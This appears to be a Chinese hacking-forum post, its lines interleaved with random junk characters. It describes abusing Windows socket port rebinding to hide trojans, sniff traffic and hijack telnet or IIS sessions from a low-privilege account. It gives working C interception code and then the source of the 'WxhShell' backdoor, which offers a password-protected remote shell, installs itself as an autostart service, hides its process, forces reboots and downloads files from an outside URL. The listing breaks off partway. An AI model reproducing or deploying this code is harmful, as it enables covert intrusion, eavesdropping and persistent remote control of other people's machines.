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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4Jn+Ot.,d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E)3Ah!  
e5AZU7%.  
  saddr.sin_family = AF_INET; \LG0   
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :o3>  
P2Jo^WS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RGgePeaw  
joz0D!-"#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^F)t>K$0m  
Mz7qC3Z  
  这意味着什么?意味着可以进行如下的攻击: ^[x6p}$  
Ab #}BHI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v6U Gr4  
 g^l~AR  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E3hXs6P  
o75l&`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _V`F_C\\#  
HPMj+xH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *iX PG9XZ  
4A0v>G`E*#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A)#w~X4  
o9rZ&Q<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sU(<L0  
a B$x(8pP@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #<K'RJn  
LpK? C<?x  
  #include >P+o NY  
  #include %i6/= 'u  
  #include uc{s\_  
  #include    Pm7lP5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7}1Z7"?  
  int main() Tnv,$KOhs  
  { BUCPO}I  
  WORD wVersionRequested; 1%$t;R  
  DWORD ret; P3!JA)p6a  
  WSADATA wsaData; `pb=y}  
  BOOL val; D\^mh{q(  
  SOCKADDR_IN saddr; `]`S"W7&  
  SOCKADDR_IN scaddr; U?%T~!  
  int err; >*MGF=.QG  
  SOCKET s; HV&i! M@T  
  SOCKET sc; U5 ia|V  
  int caddsize; XuoyB{U  
  HANDLE mt; ;V?3Hwl  
  DWORD tid;   mEmgr(W  
  wVersionRequested = MAKEWORD( 2, 2 ); Cxd^i  
  err = WSAStartup( wVersionRequested, &wsaData ); ,|g&v/WlC%  
  if ( err != 0 ) { )[ QT ?;  
  printf("error!WSAStartup failed!\n"); q eDXG  
  return -1; %Rt 5$+dNT  
  } Nwj M=GG  
  saddr.sin_family = AF_INET; "!Qi$ ]  
   b@S~ =  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D GL=\  
wg+[T;0S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j #~ S"t  
  saddr.sin_port = htons(23); XRmE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \_(|$Dhq  
  { m*wDJEKo  
  printf("error!socket failed!\n"); 0.S7uH%"  
  return -1; C#V_Gb  
  } }hE!0q~MfM  
  val = TRUE; /PVx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0GW69 z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5yyc 0UG  
  { 4/V;g%0uN;  
  printf("error!setsockopt failed!\n"); TNDp{!<|L;  
  return -1; Q@"}v_r4  
  } ]u^ybW"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7z_ZD0PxPc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JXV#V7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ev #/v:$?  
9?q ^yy  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nA(5p?D+YB  
  { l,6' S8=  
  ret=GetLastError(); GkxQEL  
  printf("error!bind failed!\n"); "Lyb4#M  
  return -1; ^6gEL~m|]  
  } D9  Mst6  
  listen(s,2); # 0d7  
  while(1) f 8\DAN  
  { SKF0p))BJ  
  caddsize = sizeof(scaddr); L#?mPF  
  //接受连接请求 s",G w]8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @Gw.U>"!C  
  if(sc!=INVALID_SOCKET) ]Q,&7D Ah  
  { w`EC6ZN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GTi=VSGqF  
  if(mt==NULL) n {\d  
  { Hh%"  
  printf("Thread Creat Failed!\n"); i%GiWanG  
  break; Z`f?7/"B  
  } 1g,Ofr  
  } B}P!WRNmln  
  CloseHandle(mt); 1Vkb}A,'  
  } 7|"l/s9,  
  closesocket(s); Y3#8]Z_"}O  
  WSACleanup(); 7xM4=\~OG  
  return 0; :]4s;q:m  
  }   IA Ws}xIly  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^F qs,^~W  
  { \PD%=~  
  SOCKET ss = (SOCKET)lpParam; ?VCp_Ji  
  SOCKET sc; @HTs.4  
  unsigned char buf[4096]; /eT9W[a  
  SOCKADDR_IN saddr; *ZV3]ig2$  
  long num; .AQTUd(_  
  DWORD val; qfdL *D  
  DWORD ret; qo}yEl1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )Y&B63]B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RD0*]4>]  
  saddr.sin_family = AF_INET; } @ [!%hE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AQtOTT$  
  saddr.sin_port = htons(23); 2kOaKH[(q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i03=Af3  
  { mq}UUk@  
  printf("error!socket failed!\n"); uP$i2Cy  
  return -1; h+7U'+|%A  
  } j >`FZKxp  
  val = 100; nVrV6w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PbY.8d%2/k  
  { $2Awp@j  
  ret = GetLastError(); ul b0B"  
  return -1; mM L B?I  
  } '"XVe+.O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P9R-41!  
  { txm6[Io  
  ret = GetLastError(); 'f0R/6h\3s  
  return -1; gV$0J?Pr.  
  } Vx:uqzw#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mE=Tj%+ x  
  { 6kMEm)YjT  
  printf("error!socket connect failed!\n"); 3sRI 7g  
  closesocket(sc); V lkJ$f5l  
  closesocket(ss); _dECAk &b  
  return -1; |9F-ZH~6  
  } 4]E1x l  
  while(1) _j4 K  
  { R6`mmJ+'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9':Hh'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S|;}]6p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bMsThoePT  
  num = recv(ss,buf,4096,0); 5z_Kkf?o  
  if(num>0) @+_pj.D  
  send(sc,buf,num,0); gK"(;Jih$  
  else if(num==0) G^z>2P  
  break; *y(UI/c  
  num = recv(sc,buf,4096,0); dQFUQ  
  if(num>0) Pf;RJeD  
  send(ss,buf,num,0); i-#Dc (9  
  else if(num==0) foBF]7Bz?  
  break; ?=1i:h  
  } *=]UWM~]  
  closesocket(ss); nv(6NV  
  closesocket(sc); fGW~xul_  
  return 0 ; +;)Xu}  
  } ~OLyG$JJ  
WRRR"Q$  
!b+!] 2~g}  
========================================================== D(&Zq7]n  
t8;nP[`  
下边附上一个代码,,WXhSHELL rWqr-"0S.  
zG c ]*R  
========================================================== "uj@!SEs`?  
-<AGCiLz  
#include "stdafx.h" dj4a)p|YN  
Nx+5rp  
#include <stdio.h> &LG|YvMY6  
#include <string.h> X)= m4\R  
#include <windows.h> Jh36NE8r  
#include <winsock2.h> {9) HB:  
#include <winsvc.h> b7">IzAe  
#include <urlmon.h> ~ 588md :  
_;/+8=  
#pragma comment (lib, "Ws2_32.lib") Eg2SC?5  
#pragma comment (lib, "urlmon.lib") 1.<gC  
&T ^bv*P  
#define MAX_USER   100 // 最大客户端连接数 ]l3Y=Cl  
#define BUF_SOCK   200 // sock buffer C[l5[DpH  
#define KEY_BUFF   255 // 输入 buffer 32y 9rz  
P)hGe3  
#define REBOOT     0   // 重启 Q. '2 v%i  
#define SHUTDOWN   1   // 关机 TTWiwPo59  
4Me3{!HJz  
#define DEF_PORT   5000 // 监听端口 }AiF 7N0  
PsS.lhj0"  
#define REG_LEN     16   // 注册表键长度 -a"b:Q  
#define SVC_LEN     80   // NT服务名长度 I47sqz7  
2T@?&N^OD  
// 从dll定义API X`-o0HG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bb+iUV|Do  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W59xe&l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *o!#5c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,g3n/'rP%  
1=z\,~ b  
// wxhshell配置信息 CL?=j| Ea  
struct WSCFG { C*1 1?B[  
  int ws_port;         // 监听端口 K$s{e0 79  
  char ws_passstr[REG_LEN]; // 口令 SLH;iqPT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~fzuz'"^  
  char ws_regname[REG_LEN]; // 注册表键名 JW=q'ibR  
  char ws_svcname[REG_LEN]; // 服务名 pX$ X8z%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "`4M4`'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,% .)mf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v`Ja Bn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [A] +Azc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t1$pl6&,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I*g[Y=  
NSR][h_  
}; #BgiDLh  
\JCpwNT{P  
// default Wxhshell configuration  H =&K_  
struct WSCFG wscfg={DEF_PORT, ZsYY)<n  
    "xuhuanlingzhe", l&m Y}k  
    1, ~jz51[{v  
    "Wxhshell", ~EvGNnTL  
    "Wxhshell", 9Sa6v?sRor  
            "WxhShell Service", *D`$oK,U  
    "Wrsky Windows CmdShell Service", 6TXTJ]er  
    "Please Input Your Password: ", N] pw7S%  
  1, RX^Xtc"  
  "http://www.wrsky.com/wxhshell.exe", w6-<HPW<S  
  "Wxhshell.exe" |0X~D}r|J  
    }; ta'wX   
*_HF%JYMZ  
// 消息定义模块 # $'H?lO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QBfo=9[=e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -3m!970  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t8.3  
char *msg_ws_ext="\n\rExit."; |eJR3o  
char *msg_ws_end="\n\rQuit."; ,Vof<,x0  
char *msg_ws_boot="\n\rReboot..."; '!`]Zc  
char *msg_ws_poff="\n\rShutdown..."; ZqjLZ9?q  
char *msg_ws_down="\n\rSave to "; ()n2 KT  
$U)nrn i  
char *msg_ws_err="\n\rErr!"; Pmd5P:n*,  
char *msg_ws_ok="\n\rOK!"; <7gv<N6BQf  
"x0KiIoPk  
char ExeFile[MAX_PATH]; vWL| vR  
int nUser = 0; ZG~d<kM&8s  
HANDLE handles[MAX_USER]; `}FZ;q3DP  
int OsIsNt; /*GCuc|  
R:f ,g2  
SERVICE_STATUS       serviceStatus; m9-=Y{&/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !HP=Rgh  
C<w&mFozL  
// 函数声明 5ci1ce  
int Install(void); @%fL*^yr;C  
int Uninstall(void); 6* 0vUy*"  
int DownloadFile(char *sURL, SOCKET wsh); lvLz){  
int Boot(int flag); p9S>H  
void HideProc(void); T`]P5Bk8r  
int GetOsVer(void); k[f_7lJ2  
int Wxhshell(SOCKET wsl); ][YC.J  
void TalkWithClient(void *cs); ft4hzmuzM  
int CmdShell(SOCKET sock); /bo`@ !-#  
int StartFromService(void); g8" H{u  
int StartWxhshell(LPSTR lpCmdLine); n?9FJOqi  
C 5e;U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7*He 8G[W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oq)7XL4  
C\^,+)Y\~  
// 数据结构和表定义 WSGho(\  
SERVICE_TABLE_ENTRY DispatchTable[] = k<NxI\s8]  
{ M)H*$!x}>  
{wscfg.ws_svcname, NTServiceMain}, GLMpWD`Wo  
{NULL, NULL} Dz8aJ6g  
}; ktp<o.f[  
8PWEQ<ev7>  
// 自我安装 HK%W7i/k@  
int Install(void) g0-rQA  
{ )l`VE_(|  
  char svExeFile[MAX_PATH]; /a6i`  
  HKEY key; 2@I0p\a  
  strcpy(svExeFile,ExeFile); J6<O|ng::  
HuQdQ*Q  
// 如果是win9x系统,修改注册表设为自启动 vTIRydg2b  
if(!OsIsNt) { \m:('^\6o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . lNf.x#u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EG3u)}vI  
  RegCloseKey(key); Dt iM}=:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0]^gT'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o%0To{MAF-  
  RegCloseKey(key); oa`7ClzD  
  return 0; ~@T`0W-Py  
    } i)$<j!L  
  } Wv ~&Qh}  
} b # Llu$  
else { Lg|d[*;'7  
/w2-Pgm-[\  
// 如果是NT以上系统,安装为系统服务 o8NRu7@?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9n"MNedqH  
if (schSCManager!=0) )CgH|z:=b  
{ imKMPO=  
  SC_HANDLE schService = CreateService !fjB oK+  
  ( .1_kRy2*.  
  schSCManager, \^jRMIM==  
  wscfg.ws_svcname, 0s RcA-9  
  wscfg.ws_svcdisp, jdx T662q  
  SERVICE_ALL_ACCESS, Dv&K3^~Rfb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p%K(dA  
  SERVICE_AUTO_START, t6lwKK  
  SERVICE_ERROR_NORMAL, {kr14 l*2  
  svExeFile, M5L/3qLh1  
  NULL, ~qK/w0=j  
  NULL, \)ZCB7|  
  NULL, Z9Z\2t  
  NULL, MIb [}w=  
  NULL KKWv V4u  
  ); {faIyKtW  
  if (schService!=0)  M+:9U&>  
  { )ybF@emc  
  CloseServiceHandle(schService); ~R50-O  
  CloseServiceHandle(schSCManager); > `0mn|+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HV*;Yt  
  strcat(svExeFile,wscfg.ws_svcname); &y(%d 7@/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  'S:$4j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NOKU2d4 G  
  RegCloseKey(key); yqB!0) <  
  return 0; H8 xhE~'t  
    } 0sTR`Xk  
  } E]=>@EX  
  CloseServiceHandle(schSCManager); J;4aghzY  
} 8;# yXlf  
} NFR>[L V  
u(\O@5a  
return 1; -Zp BYX5e_  
} y0~ttfv  
|.L_c"Bc  
// 自我卸载 dlIYzO<  
int Uninstall(void) !e*T. 1Kz  
{ 5HIQw9g6  
  HKEY key; U.JE \/  
i83[':  
if(!OsIsNt) { 4IvT}Us#+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lj3Pp$h  
  RegDeleteValue(key,wscfg.ws_regname); II!~"-WH  
  RegCloseKey(key); =G" ney2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K9y~ e  
  RegDeleteValue(key,wscfg.ws_regname); TPak,h(1  
  RegCloseKey(key); oYt 34@{?  
  return 0; C\B4Uu6q  
  } j-.Y!$a%6  
} |q z%6w=  
} f8`dJ5i  
else { n9n)eI)R  
GR4DxlX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZY@ntV?  
if (schSCManager!=0) P(/eVD#v  
{ J0oeCb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +-,iC6kK  
  if (schService!=0) Vjw u:M  
  { euVj,m  
  if(DeleteService(schService)!=0) { -3guuT3x\  
  CloseServiceHandle(schService); xc\zRsY`  
  CloseServiceHandle(schSCManager); OA(.&5]  
  return 0; F\L!.B  
  } D /GE-lq  
  CloseServiceHandle(schService); "Mhn?PTq  
  } Z!7xRy  
  CloseServiceHandle(schSCManager); 8/&4l,M5  
} ~"NuYM#@  
} v+8Ybq  
>P&1or)e%  
return 1; 5t"FNL <(M  
} D9?.Ru0.  
P;mp)1C  
// 从指定url下载文件  Ip:54  
int DownloadFile(char *sURL, SOCKET wsh) #<ST.f@*  
{ y@<2`h  
  HRESULT hr; 14jN0\  
char seps[]= "/"; u6 Lx3  
char *token; ,?k1if(0[  
char *file; N5h9){Mx  
char myURL[MAX_PATH]; /jGV[_Q=P  
char myFILE[MAX_PATH]; Lj9RF<39g  
] _5b   
strcpy(myURL,sURL); y&-QLX L  
  token=strtok(myURL,seps); Z7RBJK7|.  
  while(token!=NULL) 75lh07  
  { $LFL4Q  
    file=token; : -d_  
  token=strtok(NULL,seps); BP0:<vK{  
  } K +3=gBU*w  
q$mc{F($D  
GetCurrentDirectory(MAX_PATH,myFILE); qc 5[ e  
strcat(myFILE, "\\");  J}:.I>  
strcat(myFILE, file); kFV, Fg  
  send(wsh,myFILE,strlen(myFILE),0); >3Q|k{97  
send(wsh,"...",3,0); % hvK;B?Y|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {G VA4=UAE  
  if(hr==S_OK) >([,yMIY  
return 0; Z>Mv$F"p:  
else va'F '|  
return 1; -4& i t:  
a4=(z72xe  
} \ '4~@  
bAGKi.  
// 系统电源模块 G9 O6Fi  
int Boot(int flag) \/o$io,kV  
{ !NkCki"W  
  HANDLE hToken; 2_+>a"8Y  
  TOKEN_PRIVILEGES tkp; rUj\F9*5#  
]b!n ;{5  
  if(OsIsNt) { -` U |5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EZ]4cd/i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EN2SI+  
    tkp.PrivilegeCount = 1; U5OX.0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  pUb1#=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^hmV?a:Y  
if(flag==REBOOT) { U`mX f#D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bIAE?D  
  return 0; P<<+;']  
} ,0.kg  
else { q!eE~O;A  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aQtd6L+ J  
  return 0; @wI>0B  
} ExS5RV@v'  
  } kz7FQE  
  else { VTM* 1uXS>  
if(flag==REBOOT) { . : Wf>:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KBmOi  
  return 0;  % D  
} O {1" I  
else { EIg~^xK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Oue 1[  
  return 0; 3I_^F&T  
} pg4W?N`  
} % /VCjuV  
&uK(. @  
return 1; 6*q1%rs:w  
} Q=`yPK>{$N  
;7QXs39S  
// win9x进程隐藏模块 Mh.1KI[t  
void HideProc(void) 10Ik_L='  
{ <\~v$=G  
_SAM8!q4,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,X4+i8Yc  
  if ( hKernel != NULL ) [-])$~WfW  
  { w={q@. g%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o@e/P;E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d_@ E4i  
    FreeLibrary(hKernel); i[!|0U`p  
  } J rx^  
)8@-  
return; j Q5F}  
} mH&7{2r  
r ;RYGLx  
// 获取操作系统版本 4,I,f>V  
int GetOsVer(void) H9/!oI1P?  
{ )S g6B;CJ  
  OSVERSIONINFO winfo; D_DwP$wSo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ub-3/T  
  GetVersionEx(&winfo); [a2]_]E%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ""0 Y^M2I  
  return 1; Rql/@j`JX  
  else ga 5Q  
  return 0; 9\_AB.Z:  
} V`^*Z}d9  
("2X8(3z  
// 客户端句柄模块 M:/NW-:  
int Wxhshell(SOCKET wsl) {EoYU\x  
{ nK1eh@a9Qv  
  SOCKET wsh; 0K%okq|n  
  struct sockaddr_in client; NP T-d  
  DWORD myID; DM^0[3XuV5  
tYu<(Z(l)  
  while(nUser<MAX_USER) 'x*C#mt  
{ bY" zK',m  
  int nSize=sizeof(client); $oBs%.Jp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >Ku4Il+36  
  if(wsh==INVALID_SOCKET) return 1; :?6HG_9X  
~)U50. CH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &n6{wtBP  
if(handles[nUser]==0) Z<nNk.G  
  closesocket(wsh); lYG`)#T  
else NN*L3yx  
  nUser++; jIubJQR~  
  } <fvu) f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nw*<e ]uD  
W"c\/]aD  
  return 0; 1<r!9x9G  
} \f9WpAY  
gk%nF  
// 关闭 socket dk|LC-]`A  
void CloseIt(SOCKET wsh) 72dRp!J U  
{ 7;EDU  
closesocket(wsh); @]l|-xGCWn  
nUser--; Q,3kaR@O  
ExitThread(0); zm&[K53  
} YEu+kBlcQ  
"ko*-FrQ  
// 客户端请求句柄 [bhKL5l  
void TalkWithClient(void *cs) # e? B  
{ f24W*#IX  
q/EX`%U  
  SOCKET wsh=(SOCKET)cs; *9\j1Nd  
  char pwd[SVC_LEN]; ?b]zsku8  
  char cmd[KEY_BUFF];  LCor T-  
char chr[1]; <_Yd N)x  
int i,j; u7< +)6-  
D$}hoM1  
  while (nUser < MAX_USER) { X30tO>  
}~ D WB"  
if(wscfg.ws_passstr) { wN[lC|1c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QX=TuyO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JwSF}kNs}  
  //ZeroMemory(pwd,KEY_BUFF); hxoajexU  
      i=0; pP| @Z{7d`  
  while(i<SVC_LEN) { _E C7r>V&  
z!g$#hmL>  
  // 设置超时 mw"FQ?bJ  
  fd_set FdRead; iB)\* )  
  struct timeval TimeOut; ]? y~;-^  
  FD_ZERO(&FdRead); #[ prG  
  FD_SET(wsh,&FdRead); I$; `^z  
  TimeOut.tv_sec=8; qO>UN[Y  
  TimeOut.tv_usec=0; Y#F.{ i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;M~,S^U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y_%:%J  
xuXPVJdi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v@\S$qU2  
  pwd=chr[0]; `etw[#~N  
  if(chr[0]==0xd || chr[0]==0xa) { |vs5N2_  
  pwd=0; clvg5{^q[  
  break; Ae>+Fcv  
  } poQ_r <I  
  i++; ^#R`Uptib  
    } +f/ I>9G  
b}qfOgd5  
  // 如果是非法用户,关闭 socket ~J].~^[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MLd; UHU  
} \IL)~5d  
|4@cX<d.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Raf7W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hz:7W8  
KrGl}|  
while(1) { +xYu@r%R  
YS|Dw'%g /  
  ZeroMemory(cmd,KEY_BUFF); $Tbsre\MJ  
5;)^o3X>  
      // 自动支持客户端 telnet标准   ^% f8JoB  
  j=0; 'h$1 z$X5  
  while(j<KEY_BUFF) { W8& )UtWQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mF 1f(  
  cmd[j]=chr[0]; {!2K-7;  
  if(chr[0]==0xa || chr[0]==0xd) { rUKg<]&@  
  cmd[j]=0; Biv)s@"f-Q  
  break; q1rj!7  
  } T1Py6Q,-  
  j++; 9Q9{>d#"  
    } ("a@V8M`$F  
T_*inPf  
  // 下载文件 N@|<3R!N*e  
  if(strstr(cmd,"http://")) { EXSJ@k6=8s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }c8nn  
  if(DownloadFile(cmd,wsh)) :?xH)J,imk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /h53;$zK  
  else "l&SRX?g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `rn/H;r!Z  
  } T~3{$  
  else { zmhc\M ?z  
&{j!!LL  
    switch(cmd[0]) { ?M:>2wl  
  m7k }k)  
  // 帮助 dXTD8 )&  
  case '?': { )c11_1;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); daSe0:daJ  
    break; %Y~"Stmx  
  } 7T/BzXr,B  
  // 安装 \c\~k0u  
  case 'i': { T<*)Cdid  
    if(Install()) 94B%_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:YX_+n  
    else yEWm.;&3=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }#7l-@{<  
    break; ]Za[]E8MD  
    } 7^i7U-A<A  
  // 卸载 Mxl;Im]!`.  
  case 'r': { 3wfcGQn|sD  
    if(Uninstall()) I(M/ X/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 336ETrG^0  
    else T`e`nQ0nn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n(68|^$  
    break; CU|E-XPW  
    } ?>;b,^4  
  // 显示 wxhshell 所在路径 gGP6"|tc4  
  case 'p': { 1J[$f>%n]  
    char svExeFile[MAX_PATH]; $I9&cNPv  
    strcpy(svExeFile,"\n\r"); Cf(WO-F^  
      strcat(svExeFile,ExeFile); # `^nmC/F  
        send(wsh,svExeFile,strlen(svExeFile),0); 1@Jp3wW  
    break; M-t 9M~  
    } @XJ7ff&  
  // 重启 n$2oM5<  
  case 'b': { WK$\#>T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3VLwY!2:  
    if(Boot(REBOOT)) ?kR1T0lKkE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o}Grb/LJ  
    else { 8y27O  
    closesocket(wsh); 'xta/@Sq  
    ExitThread(0); aV$kxzEc  
    } }.o.*N  
    break; %?[gBf[y  
    } c!E{fSP  
  // 关机 *+rfRH]a  
  case 'd': { AO5&Y.A#  
